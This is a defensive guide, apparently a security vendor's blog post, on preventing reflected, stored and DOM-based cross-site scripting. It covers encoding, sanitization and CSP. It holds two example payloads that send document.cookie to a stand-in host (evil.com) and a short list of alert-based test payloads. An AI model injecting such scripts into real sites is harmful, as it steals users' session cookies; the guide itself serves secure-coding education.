How to Prevent Cross-Site Scripting (XSS) — Complete Guide
Cross-site scripting is consistently in the OWASP Top 10. This guide covers all three XSS types — reflected, stored, and DOM-based — with prevention strategies and code examples.
Cross-site scripting (XSS) is one of the most widespread web application vulnerabilities, consistently appearing in the OWASP Top 10 (A03:2021 Injection). XSS occurs when an application includes untrusted data in a web page without proper validation or encoding, allowing attackers to execute scripts in victims’ browsers.
How XSS Works
When a browser loads a page, it executes any JavaScript it encounters. If an attacker can inject JavaScript into a page that other users load, that script runs in the context of those users’ sessions — with access to their cookies, session tokens, local storage, and the ability to make requests on their behalf.
The Three Types of XSS
1. Reflected XSS
The malicious script is part of the HTTP request. The server “reflects” it back in the response without storing it.
Example:
https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
If the server renders q directly in the page, anyone clicking this URL gets their cookies stolen. Attackers distribute these URLs via phishing emails or shortened links.
2. Stored (Persistent) XSS
The malicious script is stored in the database and served to all users who view the affected content. This is the most dangerous type because it affects every visitor without requiring them to click a specific link.
Example: An attacker posts a comment containing:
<script>fetch('https://evil.com/steal?c='+document.cookie)</script>
Every user who views that comment executes the script and leaks their session cookie.
3. DOM-Based XSS
The attack happens entirely on the client side. JavaScript in the page reads attacker-controlled data (URL fragment, window.location, document.referrer) and writes it to the DOM without sanitization.
// VULNERABLE: URL fragment written directly to DOM
document.getElementById('welcome').innerHTML =
"Welcome, " + location.hash.slice(1); // URL: /page#<img src=x onerror=alert(1)>
No server is involved — this never appears in server logs and is invisible to WAFs that only inspect request/response bodies.
Prevention Strategy 1: Output Encoding
The primary defense for reflected and stored XSS. Encode untrusted data for the specific context it’s being inserted into:
| Context | Encoding needed | Example |
|---|---|---|
| HTML body | HTML entity encode | < instead of < |
| HTML attribute | HTML attribute encode | Quote and encode |
| JavaScript | JavaScript string encode | \x3c instead of < |
| CSS | CSS encode | \003C |
| URL | URL encode | %3C |
Most web frameworks handle HTML encoding by default. The danger is when developers bypass the framework’s auto-escaping:
# Django — SAFE: auto-escaped
return render(request, 'template.html', {'name': user_name})
# Django — VULNERABLE: marks string as safe without checking
from django.utils.safestring import mark_safe
return render(request, 'template.html', {'name': mark_safe(user_name)})
// React — SAFE: JSX auto-escapes
return <div>Welcome, {userName}</div>;
// React — VULNERABLE: bypasses escaping
return <div dangerouslySetInnerHTML={{__html: 'Welcome, ' + userName}} />;
Prevention Strategy 2: Input Validation
Validate that inputs match expected formats. For fields that only accept usernames, numbers, or dates — enforce that constraint:
import re
def validate_username(username):
if not re.match(r'^[a-zA-Z0-9_-]{3,20}$', username):
raise ValueError("Invalid username format")
return username
Input validation is defense-in-depth, not a primary defense. A correctly typed input can still contain XSS payloads if output encoding isn’t applied.
Prevention Strategy 3: HTML Sanitization
When you genuinely need to allow HTML (rich text editors, comment formatting), don’t write your own sanitizer — use a well-tested library:
- Python:
bleach— allowlist-based sanitizer - JavaScript:
DOMPurify— fast, battle-tested - Java:
OWASP Java HTML Sanitizer - PHP:
HTML Purifier
import DOMPurify from 'dompurify';
// SAFE: DOMPurify strips malicious tags/attributes
const clean = DOMPurify.sanitize(userProvidedHtml);
element.innerHTML = clean;
Prevention Strategy 4: Content Security Policy (CSP)
CSP is a browser security mechanism that lets you control which scripts can execute on your page. Even if XSS injection succeeds, CSP can prevent the injected script from running.
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.trusted.com;
object-src 'none';
A strict CSP that bans inline scripts and eval() neutralizes most XSS attacks. Start with a report-only policy to identify violations before enforcing:
Content-Security-Policy-Report-Only:
default-src 'self';
report-uri /csp-violations
Prevention Strategy 5: DOM-Based XSS Specific Fixes
Avoid dangerous JavaScript APIs that write HTML:
// DANGEROUS APIs — avoid with untrusted input:
element.innerHTML = userInput; // Parses HTML, executes scripts
element.outerHTML = userInput;
document.write(userInput);
eval(userInput);
setTimeout(userInput); // String form executes as code
// SAFE alternatives:
element.textContent = userInput; // Text only, never parsed as HTML
element.setAttribute('href', sanitizedUrl); // Use for attributes
Testing for XSS
Basic test payloads to check if a parameter is vulnerable:
<script>alert(1)</script>
"><script>alert(1)</script>
'><script>alert(1)</script>
<img src=x onerror=alert(1)>
javascript:alert(1)
Use browser developer tools to inspect whether the payload appears in the DOM unencoded. Automated scanners like Offensive360 DAST test for XSS systematically across all application parameters.
Quick Reference
| XSS Type | Where payload lives | Who gets affected |
|---|---|---|
| Reflected | URL parameter | Users who click malicious link |
| Stored | Database | All users who view the content |
| DOM-based | Client-side JS | Users who visit crafted URL |
Defense layers: Output encoding (primary) + Input validation (secondary) + CSP (mitigation layer) + HTML sanitization libraries (for rich text).
Related articles
Rust Vulnerabilities: Most Common Issues You Need to Know
While Rust provides memory safety advantages over C/C++, vulnerabilities still emerge — particularly when developers use unsafe code blocks or rely on libraries with security gaps.
OpenSSL Vulnerabilities CVE-2022-3602 and CVE-2022-3786: What You Need to Know
The OpenSSL Project disclosed two high-severity vulnerabilities in October 2022. Initially labeled critical, here's what they actually mean, who is affected, and what to do.
Spring4Shell — Critical Remote Code Execution in Spring Framework (CVE-2022-22965)
Spring4Shell is a critical RCE vulnerability (CVSS 9.8) affecting Spring MVC on JDK 9+. Here's what it is, whether you're affected, and how to patch it immediately.
Find vulnerabilities before attackers do
Run Offensive360 SAST and DAST against your applications to catch security issues early.